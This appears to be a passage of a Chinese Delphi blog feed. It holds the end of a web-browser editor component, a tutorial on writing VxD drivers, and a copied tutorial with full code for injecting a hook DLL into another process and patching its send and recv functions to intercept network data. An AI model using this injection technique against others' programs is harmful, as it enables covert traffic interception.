<P>procedure TEditWebBrowser.Print(isPrintView:boolean=true);<BR>begin<BR>&nbsp; if isPrintView then<BR>&nbsp;&nbsp;&nbsp; self.ExecWB(OLECMDID_PRINTPREVIEW,OLECMDEXECOPT_DODEFAULT)<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; self.ExecWB(OLECMDID_PRINT,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.PrintPageSetup;<BR>begin<BR>&nbsp; self.ExecWB(OLECMDID_PAGESETUP,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.Copy;<BR>begin<BR>&nbsp; self.ExecWB(OLECMDID_COPY,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.Paste;<BR>begin<BR>&nbsp; self.ExecWB(OLECMDID_PASTE,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.SelectAll;<BR>begin<BR>&nbsp; self.ExecWB(OLECMDID_SELECTALL,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.Cut;<BR>begin<BR>&nbsp; self.ExecWB(OLECMDID_CUT,OLECMDEXECOPT_DODEFAULT);<BR>end;</P>
<P>procedure TEditWebBrowser.SaveAs(FileName:string='blank.htm');<BR>begin<BR>&nbsp; self.Doc.execCommand('SaveAs',false,FileName);<BR>end;</P>
<P>function TEditWebBrowser.GetPoint(C:TComponent;p:TPoint):TPoint;<BR>var rsp:TPoint;<BR>begin<BR>&nbsp; if C.Owner is TForm then begin<BR>&nbsp;&nbsp;&nbsp; rsp.X:=p.X-(C.Owner as TForm).Left;<BR>&nbsp;&nbsp;&nbsp; rsp.Y:=p.Y-(C.Owner as TForm).Top;<BR>&nbsp;&nbsp;&nbsp; rsp.X:=rsp.X-((C.Owner as TForm).Width-(C.Owner as TForm).ClientWidth) div 2;<BR>&nbsp;&nbsp;&nbsp; rsp.Y:=rsp.Y-((C.Owner as TForm).Height-(C.Owner as TForm).ClientHeight);<BR>&nbsp;&nbsp;&nbsp; result:=rsp;<BR>&nbsp; end else begin<BR>&nbsp;&nbsp;&nbsp; rsp.X:=p.X-GetOrdProp(C.Owner,'Left');<BR>&nbsp;&nbsp;&nbsp; rsp.Y:=p.Y-GetOrdProp(C.Owner,'Top');<BR>&nbsp;&nbsp;&nbsp; result:=self.GetPoint(C.Owner,rsp);<BR>&nbsp; end;<BR>end;</P>
<P>procedure TEditWebBrowser.OnMyMessage(var Msg:TMsg;var Handled:Boolean);<BR>var p:TPoint;ShiftState:TShiftState;Key:word;<BR>&nbsp; bKey:TKeyBoardState;<BR>begin<BR>&nbsp; //GetCursorPos(p); </P>
<P>&nbsp; p.X:=Msg.pt.X-self.Left;&nbsp; p.Y:=Msg.pt.Y-self.Top;<BR>&nbsp; p:=self.GetPoint(self,p);<BR>&nbsp; if (p.X&gt;=0) and (p.X&lt;=self.Width) and (p.Y&gt;=0)<BR>&nbsp;&nbsp;&nbsp; and (p.Y&lt;=self.Height) then begin<BR>&nbsp;&nbsp;&nbsp; if Msg.message=WM_RBUTTONDOWN then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Handled:=not self.FisShowSelfPopupMenu;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoMouseDown(mbRight,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_LBUTTONDOWN then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoMouseDown(mbLeft,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_RBUTTONUP then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Handled:=not self.FisShowSelfPopupMenu;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoMouseUp(mbRight,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_LBUTTONUP then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoMouseUp(mbLeft,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_MOUSEMOVE then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoMouseMove(ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_LBUTTONDBLCLK then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoDblClick(mbLeft,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_RBUTTONDBLCLK then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Handled:=not self.FisShowSelfPopupMenu;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoDblClick(mbRight,ShiftState,p.X,p.Y);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;</P>
<P>&nbsp; if self.OleObject.document.hasfocus then begin<BR>&nbsp;&nbsp;&nbsp; if Msg.message=WM_KEYDOWN then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Key:=Msg.wParam;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not self.FReadOnly then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Key=13 then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.FWantReturns then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not (ssShift in ShiftState) then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bKey[VK_Shift]:=not bKey[VK_Shift];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.FShiftFoceed:=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end else begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ssCtrl in ShiftState) then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.FCtrlFoceed:=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bKey[VK_CONTROL]:=not bKey[VK_CONTROL];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not (ssShift in ShiftState) then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bKey[VK_Shift]:=not bKey[VK_Shift];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.FShiftFoceed:=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end else Msg.wParam:=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoKeyDown(ShiftState,Key);<BR>&nbsp;&nbsp;&nbsp; end else if Msg.message=WM_KEYUP then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShiftState:=KeyDataToShiftState(Msg.wParam);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Key:=Msg.wParam;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not self.FReadOnly then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Key=13 then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.FShiftFoceed then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bKey[VK_Shift]:=not bKey[VK_Shift];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetKeyboardState(bKey);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Msg.wParam:=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.FShiftFoceed:=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.FCtrlFoceed then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Include(ShiftState,ssCtrl);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.FCtrlFoceed:=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoKeyUp(ShiftState,Key);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;</P>
<P>&nbsp; //TranslateMessage(Msg);<BR>&nbsp; //DispatchMessage(Msg);<BR>end;</P>
<P>procedure TEditWebBrowser.DoMouseDown(Button:TMouseButton;Shift:TShiftState;x,y:integer);<BR>begin<BR>&nbsp; if Assigned(FOnMouseDown) then FOnMouseDown(self,Button,Shift,x,y);<BR>end;</P>
<P>procedure TEditWebBrowser.DoMouseUp(Button:TMouseButton;Shift:TShiftState;x,y:integer);<BR>begin<BR>&nbsp; if Assigned(FOnMouseUp) then FOnMouseUp(self,Button,Shift,x,y);<BR>end;</P>
<P>procedure TEditWebBrowser.DoMouseMove(Shift:TShiftState;x,y:integer);<BR>begin<BR>&nbsp; if Assigned(FOnMouseMove) then FOnMouseMove(self,Shift,x,y);<BR>end;</P>
<P>procedure TEditWebBrowser.DoDblClick(Button:TMouseButton;Shift:TShiftState;x,y:integer);<BR>begin<BR>&nbsp; if Assigned(FOnDblClick) then FOnDblClick(self,Button,Shift,x,y);<BR>end;</P>
<P>procedure TEditWebBrowser.DoKeyDown(Shift:TShiftState;Key:word);<BR>begin<BR>&nbsp; if Assigned(FOnKeyDown) then FOnKeyDown(self,Shift,Key);<BR>end;</P>
<P>procedure TEditWebBrowser.DoKeyUp(Shift:TShiftState;Key:word);<BR>begin<BR>&nbsp; if Assigned(FOnKeyUp) then FOnKeyUp(self,Shift,Key);<BR>end;</P>
<P>procedure TEditWebBrowser.SetisShowSelfPopupMenu(v:boolean);<BR>begin<BR>&nbsp; self.FisShowSelfPopupMenu:=v;<BR>end;</P>
<P>procedure TEditWebBrowser.SetWantReturns(v:boolean);<BR>begin<BR>&nbsp; self.FWantReturns:=v;<BR>end;</P>
<P>function TEditWebBrowser.GetSelText():string;<BR>begin<BR>&nbsp; result:=(self.Doc.selection.createRange as IHtmlTxtRange).text;<BR>end;</P>
<P>procedure TEditWebBrowser.SetSelText(s:string);<BR>begin<BR>&nbsp; (self.Doc.selection.createRange as IHtmlTxtRange).text:=s;<BR>end;</P>
<P>function TEditWebBrowser.GetSelHTML():string;<BR>begin<BR>&nbsp; result:=(self.Doc.selection.createRange as IHtmlTxtRange).htmlText;<BR>end;</P>
<P>procedure TEditWebBrowser.SetSelHTML(s:string);<BR>begin<BR>&nbsp; (self.Doc.selection.createRange as IHtmlTxtRange).pasteHTML(s);<BR>end;</P>
<P>procedure TEditWebBrowser.SetVisible(v:boolean);<BR>begin<BR>&nbsp; self.FVisible:=v;<BR>&nbsp; TWinControl(self).Visible:=v;<BR>end;</P>
<P>procedure TEditWebBrowser.SetSelection(Start,Length:integer);<BR>var TextRange:IHtmlTxtRange;<BR>begin<BR>&nbsp; self.Doc.selection.empty;<BR>&nbsp; TextRange:=self.Doc.selection.createRange as IHtmlTxtRange;<BR>&nbsp; TextRange.collapse(true);<BR>&nbsp; TextRange.moveEnd('character',Start+Length);<BR>&nbsp; TextRange.moveStart('character',Start);<BR>&nbsp; TextRange.select;<BR>end;</P>
<P>procedure Register;<BR>begin<BR>&nbsp; RegisterComponents('Internet', [TEditWebBrowser]);<BR>end;</P>
<P>initialization<BR>&nbsp; try OleInitialize(nil); except end;<BR>&nbsp; EditWebBrowsers:=TEditWebBrowsers.Create(application);<BR>finalization<BR>&nbsp; try OleUninitialize; except end;<BR>&nbsp; <BR>end.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=195" /> 
	  <id>http://www.openx.cn/default.asp?id=195</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[拦截其它程序的网络数据封包]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-17T15:36:31+08:00</updated>
	  <published>2006-01-17T15:36:31+08:00</published>
		  <summary type="html"><![CDATA[<P>拦截网络数据封包的方法有三种,一是将网卡设为混杂模式,这次就可以监视到局域网上所有的数据包,二是HOOK目标进程的发送和接收的API函数,第三种方法是自己实现一个代理的DLL.在这里我们使用HOOK API的方法,这样易于实现,而且也不会得到大量的无用数据(如第一种方法就会监视到所有的网络数据).<BR></P>
<P>下面是一个尽量简化了的API HOOK的模版,原理是利用消息钩子将DLL中的代码注入到目标进程中,再用GetProcAddress得到API函数入口地址,将函数入口址改为自己定义的函数入口,这样就得到了API函数的相应参数,处理完后,再改回真实API函数入口地址,并调用它.</P>
<P>HOOK.DLL的代码:<BR>library Hook;</P>
<P>uses<BR>SysUtils,<BR>windows,<BR>Messages,<BR>APIHook in 'APIHook.pas';</P>
<P>type<BR>PData = ^TData;<BR>TData = record<BR>Hook: THandle;<BR>Hooked: Boolean;<BR>end;<BR><BR>var<BR>DLLData: PData;</P>
<P>{------------------------------------}<BR>{过程名:HookProc<BR>{过程功能:HOOK过程<BR>{过程参数:nCode, wParam, lParam消息的相<BR>{ 关参数<BR>{------------------------------------}<BR>procedure HookProc(nCode, wParam, lParam: LongWORD);stdcall;<BR>begin<BR>if not DLLData^.Hooked then<BR>begin<BR>HookAPI;<BR>DLLData^.Hooked := True;<BR>end;<BR>//调用下一个Hook<BR>CallNextHookEx(DLLData^.Hook, nCode, wParam, lParam);<BR>end;<BR></P>
<P>{------------------------------------}<BR>{函数名:InstallHook<BR>{函数功能:在指定窗口上安装HOOK<BR>{函数参数:sWindow:要安装HOOK的窗口<BR>{返回值:成功返回TRUE,失败返回FALSE<BR>{------------------------------------}<BR>function InstallHook(SWindow: LongWORD):Boolean;stdcall;<BR>var<BR>ThreadID: LongWORD;<BR>begin<BR>Result := False;<BR>DLLData^.Hook := 0;<BR>ThreadID := GetWindowThreadProcessId(sWindow, nil);<BR>//给指定窗口挂上钩子<BR>DLLData^.Hook := SetWindowsHookEx(WH_GETMESSAGE, @HookProc, Hinstance, ThreadID);<BR>if DLLData^.Hook &gt; 0 then<BR>Result := True //是否成功HOOK<BR>else<BR>exit;<BR>end;</P>
<P>{------------------------------------}<BR>{过程名:UnHook<BR>{过程功能:卸载HOOK<BR>{过程参数:无<BR>{------------------------------------}<BR>procedure UnHook;stdcall;<BR>begin<BR>UnHookAPI;<BR>//卸载Hook<BR>UnhookWindowsHookEx(DLLData^.Hook);<BR>end;</P>
<P>{------------------------------------}<BR>{过程名:DLL入口函数<BR>{过程功能:进行DLL初始化,释放等<BR>{过程参数:DLL状态<BR>{------------------------------------}<BR>procedure MyDLLHandler(Reason: Integer);<BR>var<BR>FHandle: LongWORD;<BR>begin<BR>case Reason of<BR>DLL_PROCESS_ATTACH:<BR>begin //建立文件映射,以实现DLL中的全局变量<BR>FHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, $ffff, 'MYDLLDATA');<BR>if FHandle = 0 then<BR>if GetLastError = ERROR_ALREADY_EXISTS then<BR>begin<BR>FHandle := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'MYDLLDATA');<BR>if FHandle = 0 then Exit;<BR>end else Exit;<BR>DLLData := MapViewOfFile(FHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);<BR>if DLLData = nil then<BR>CloseHandle(FHandle);<BR>end;<BR>DLL_PROCESS_DETACH:<BR>begin<BR>if Assigned(DLLData) then<BR>begin<BR>UnmapViewOfFile(DLLData);<BR>DLLData := nil;<BR>end;<BR>end;<BR>end;<BR>end;</P>
<P>{$R *.res}<BR>exports<BR>InstallHook, UnHook, HookProc;</P>
<P>begin<BR>DLLProc := @MyDLLHandler;<BR>MyDLLhandler(DLL_PROCESS_ATTACH);<BR>DLLData^.Hooked := False;<BR>end.</P>
<P>----------------------------------------------------------------------------------------<BR>APIHook.Pas的代码:</P>
<P>unit APIHook;</P>
<P>interface</P>
<P>uses<BR>SysUtils,<BR>Windows, WinSock;</P>
<P>type<BR>//要HOOK的API函数定义<BR>TSockProc = function (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;</P>
<P>PJmpCode = ^TJmpCode;<BR>TJmpCode = packed record<BR>JmpCode: BYTE;<BR>Address: TSockProc;<BR>MovEAX: Array [0..2] of BYTE;<BR>end;</P>
<P>//--------------------函数声明---------------------------<BR>procedure HookAPI;<BR>procedure UnHookAPI;</P>
<P>var<BR>OldSend, OldRecv: TSockProc; //原来的API地址<BR>JmpCode: TJmpCode;<BR>OldProc: array [0..1] of TJmpCode;<BR>AddSend, AddRecv: pointer; //API地址<BR>TmpJmp: TJmpCode;<BR>ProcessHandle: THandle;<BR>implementation</P>
<P>{---------------------------------------}<BR>{函数功能:Send函数的HOOK<BR>{函数参数:同Send<BR>{函数返回值:integer<BR>{---------------------------------------}<BR>function MySend(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;<BR>var<BR>dwSize: cardinal;<BR>begin<BR>//这儿进行发送的数据处理<BR>MessageBeep(1000); //简单的响一声<BR>//调用直正的Send函数<BR>WriteProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);<BR>Result := OldSend(S, Buf, len, flags);<BR>JmpCode.Address := @MySend;<BR>WriteProcessMemory(ProcessHandle, AddSend, @JmpCode, 8, dwSize);<BR>end;</P>
<P>{---------------------------------------}<BR>{函数功能:Recv函数的HOOK<BR>{函数参数:同Recv<BR>{函数返回值:integer<BR>{---------------------------------------}<BR>function MyRecv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;<BR>var<BR>dwSize: cardinal;<BR>begin<BR>//这儿进行接收的数据处理<BR>MessageBeep(1000); //简单的响一声<BR>//调用直正的Recv函数<BR>WriteProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);<BR>Result := OldRecv(S, Buf, len, flags);<BR>JmpCode.Address := @MyRecv;<BR>WriteProcessMemory(ProcessHandle, AddRecv, @JmpCode, 8, dwSize);<BR>end;</P>
<P>{------------------------------------}<BR>{过程功能:HookAPI<BR>{过程参数:无<BR>{------------------------------------}<BR>procedure HookAPI;<BR>var<BR>DLLModule: THandle;<BR>dwSize: cardinal;<BR>begin<BR>ProcessHandle := GetCurrentProcess;<BR>DLLModule := LoadLibrary('ws2_32.dll'); <BR>AddSend := GetProcAddress(DLLModule, 'send'); //取得API地址<BR>AddRecv := GetProcAddress(DLLModule, 'recv');<BR>JmpCode.JmpCode := $B8;<BR>JmpCode.MovEAX[0] := $FF;<BR>JmpCode.MovEAX[1] := $E0;<BR>JmpCode.MovEAX[2] := 0;<BR>ReadProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);<BR>JmpCode.Address := @MySend;<BR>WriteProcessMemory(ProcessHandle, AddSend, @JmpCode, 8, dwSize); //修改Send入口<BR>ReadProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);<BR>JmpCode.Address := @MyRecv;<BR>WriteProcessMemory(ProcessHandle, AddRecv, @JmpCode, 8, dwSize); //修改Recv入口<BR>OldSend := AddSend;<BR>OldRecv := AddRecv;<BR>end;</P>
<P>{------------------------------------}<BR>{过程功能:取消HOOKAPI<BR>{过程参数:无<BR>{------------------------------------}<BR>procedure UnHookAPI;<BR>var<BR>dwSize: Cardinal;<BR>begin<BR>WriteProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);<BR>WriteProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);<BR>end;</P>
<P>end.</P>
<P>---------------------------------------------------------------------------------------------<BR>编译这个DLL后,再新建一个程序调用这个DLL的InstallHook并传入目标进程的主窗口句柄就可:<BR>unit fmMain;</P>
<P>interface</P>
<P>uses<BR>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>Dialogs, StdCtrls;</P>
<P>type<BR>TForm1 = class(TForm)<BR>Button1: TButton;<BR>Button2: TButton;<BR>Edit1: TEdit;<BR>procedure Button1Click(Sender: TObject);<BR>procedure Button2Click(Sender: TObject);<BR>private<BR>{ Private declarations }<BR>public<BR>{ Public declarations }<BR>end;<BR><BR>var<BR>Form1: TForm1;<BR>InstallHook: function (SWindow: THandle):Boolean;stdcall;<BR>UnHook: procedure;stdcall;<BR>implementation</P>
<P>{$R *.dfm}</P>
<P>procedure TForm1.Button1Click(Sender: TObject);<BR>var<BR>ModuleHandle: THandle;<BR>TmpWndHandle: THandle;<BR>begin<BR>TmpWndHandle := 0;<BR>TmpWndHandle := FindWindow(nil, '目标窗口的标题');<BR>if not isWindow(TmpWndHandle) then<BR>begin<BR>MessageBox(self.Handle, '没有找到窗口', '!!!', MB_OK);<BR>exit;<BR>end;<BR>ModuleHandle := LoadLibrary('Hook.dll');<BR>@InstallHook := GetProcAddress(ModuleHandle, 'InstallHook');<BR>@UnHook := GetProcAddress(ModuleHandle, 'UnHook');<BR>if InstallHook(FindWindow(nil, 'Untitled')) then<BR>ShowMessage('Hook OK');<BR>end;</P>
<P>procedure TForm1.Button2Click(Sender: TObject);<BR>begin<BR>UnHook<BR>end;</P>
<P>end.<BR></P>
<P>摘:http://www.ddvip.net/program/delphi/index3/79.htm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=194" /> 
	  <id>http://www.openx.cn/default.asp?id=194</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Delphi编写VxD设备驱动程序]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-17T15:30:57+08:00</updated>
	  <published>2006-01-17T15:30:57+08:00</published>
		  <summary type="html"><![CDATA[介绍 
<P>　windows 存在有两种类型的 vxd 设备驱动程序： </P>
<P>　　1、静态(static) vxd ，装入操作系统并永久的存在于内存中； <BR>　　 2、动态(dynamic) vxd，当需要时才调入内存，用完后关闭vxd即可释放内存。 </P>
<P>　　inprise delphi 有能力建立任何一种类型的 vxd 设备驱动程序，下面我们将介绍如何建立动态 vxd。 </P>
<P>　　当 win32 应用程序打开一个 vxd “虚拟”设备时，vwin32 使用 loaddevice 将 vxd 装入内存，并建立消息w32_deviceiocontrol ，发向 vxd。 </P>
<P>　　也就是说，vxd 至少应该响应以下两个系统信息和编写以下的一个函数： </P>
<P>　　sys_dynamic_device_init <BR>　　 sys_dynamic_device_exit <BR>　　 w32_deviceiocontrol 函数. </P>
<P>　　消息 sys_dynamic_device_init 在尝试装入 vxd 时发送到 vxd ，消息 sys_dynamic_device_exit 在尝试动态交换时发送到 vxd ，消息的处理者在成功处理后，应该在寄存器 ax 中返回 vxd_success 标志。 </P>
<P>　　w32_deviceiocontrol 的 dwservice 参数有以下的值： </P>
<P>　　dioc_open 当 vxd 通过 createfile() 函数尝试打开操作时发送（在 sys_dynamic_device_init 消息后），如果成功返回 no_error (0);　</P>
<P>　　dioc_closehandle 当 vxd 通过 closehandle() 函数尝试关闭操作时发送（在 sys_dynamic_device_exit 前） </P>
<P>　　所有其它的值 &gt; 0 意味着不同的函数调用（由 dwiocontrolcode 给出），当 vxd 被 deviceiocontrol 函数调用时。 </P>
<P>启动模块(vxdmain.asm) <BR>... <BR>extrn sysdynamicdeviceinit :proc <BR>extrn sysdynamicdeviceexit :proc <BR>extrn w32deviceiocontrol　 :proc <BR>... <BR>　　　　　　　　　　　　 public　delphiio_ddb <BR>　　　　　　 public　@@handlefinally <BR>　　　　　　 public　@initialization <BR>... <BR>control_0　　proc <BR>　　 cmp　　eax, sys_dynamic_device_init <BR>　　 jnz　　short chksysdynexit <BR>　　 call　　sysdynamicdeviceinit <BR>　　 cmp　　eax, 1 <BR>　　 retn　　 <BR>;------------- </P>
<P>chksysdynexit: <BR>　　 cmp　　eax, sys_dynamic_device_exit <BR>　　 jnz　　short chkdevioctl <BR>　　 call　　sysdynamicdeviceexit <BR>　　 cmp　　eax, 1 <BR>　　 retn　　 <BR>;------------- <BR>chkdevioctl: <BR>　　 cmp　　eax, w32_deviceiocontrol <BR>　　 jnz　　short loc_ret <BR>　　 push　　esi <BR>　　 push　　edx <BR>　　 push　　ebx <BR>　　 push　　ecx <BR>　　 call　　w32deviceiocontrol <BR>　　 cmp　　eax, 1 <BR>　　 retn　　 <BR>;------------- <BR>loc_ret: <BR>　　 clc　　 <BR>　　 retn　　 </P>
<P>control_0　　endp </P>
<P>@@handlefinally: <BR>@initialization: <BR>　　　　　　 ret </P>
<P>_ltext　 ends <BR>　　　　　　　　　　　　 end <BR></P>
<P>　　delphi 会为单元的 initialization/finalization 建立代码调用外部过程 handlefinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。 </P>
<P>　　主 delphi 程序单元(vxdprocs.pas)　<BR></P>
<P>... <BR>procedure shellmessage(handle, flags : integer; const message, caption : pchar;　<BR>　 callback, referencedata : pointer); stdcall; assembler; <BR>asm <BR>　 mov　　ebx, handle　　　　// virtual machine handle <BR>　 mov　　eax, flags　　　　// message box flags <BR>　 mov　　ecx, message　　　　// address of message text <BR>　 mov　　edi, caption　　　　// address of caption text <BR>　 mov　　esi, callback　　　　// address of callback <BR>　 mov　　edx, referencedata　　　　// reference data for callback </P>
<P>　int　　20h　　　　　　// vxdcall <BR>　 dd　　 170004h　　　　　　// shell_message <BR>end; </P>
<P>function sysdynamicdeviceinit : integer; <BR>begin <BR>　 shellmessage(0, $10, copyright, ’sysdyninit: hello from delphi vxd !!!’, nil, nil); <BR>　 result := vxd_success; <BR>end; </P>
<P>function sysdynamicdeviceexit : integer; <BR>begin <BR>　 shellmessage(0, $10, copyright, ’sysdyndevexit: bye from delphi vxd !!!’, nil, nil); <BR>　 result := vxd_success; <BR>end; </P>
